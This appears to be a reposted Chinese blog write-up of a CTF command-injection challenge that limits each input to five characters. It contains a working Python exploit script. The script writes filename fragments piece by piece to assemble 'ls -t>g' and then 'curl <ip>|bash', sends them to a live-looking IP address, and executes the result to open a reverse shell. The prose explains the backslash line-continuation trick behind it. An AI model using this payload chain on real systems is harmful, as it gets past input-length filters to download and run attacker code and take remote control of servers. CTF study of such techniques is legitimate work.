当前位置:网站首页>CTF命令执行题目解题思路
CTF命令执行题目解题思路
2022-08-02 22:03:00 【wespten】
CTF存在命令执行漏洞题目,单次输入字符不得大于5。
利用linux下特有的命令来写入shell反弹。
原理就是利用curl ip|bash等很多方式去反弹shell。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)
在自己服务器中放入bash一句话,利用curl ip|bash反弹shell。
开启监听,执行后可反弹shell。
利用linux文件写入技巧:
ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中
可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。
边栏推荐
猜你喜欢
随机推荐
Learn more TypeScript 】 【 TypeScript modular
js function anti-shake and function throttling and other usage scenarios
Broadcast platform, the use of the node generated captcha image, and validate
# 医院管理系统完整项目代码以及数据库建表语句分享
虚拟内存 virualmemory
Flink-SQL
How does Redis easily achieve system instant kill?
搭建Spark开发环境(第二弹)
ssm整合(三)Controller 和 视图层编写
qt静态编译出现Project ERROR: Library ‘odbc‘ is not defined
别再用Field注入了
[TypeScript] Deep Learning of TypeScript Classes (Part 1)
Teach you how to kill if else
matplotlib绘图的核心原理讲解(超详细)
gdb调试简要总结
Summary of @Transactional transaction invocation and effective scenarios
Go语言如何操作文件
Command line startup FAQs and solutions
How to seize the new trend of NFT, yuan|universe|universe?
CS5213 chip | HDMI to VGA converter chip data sharing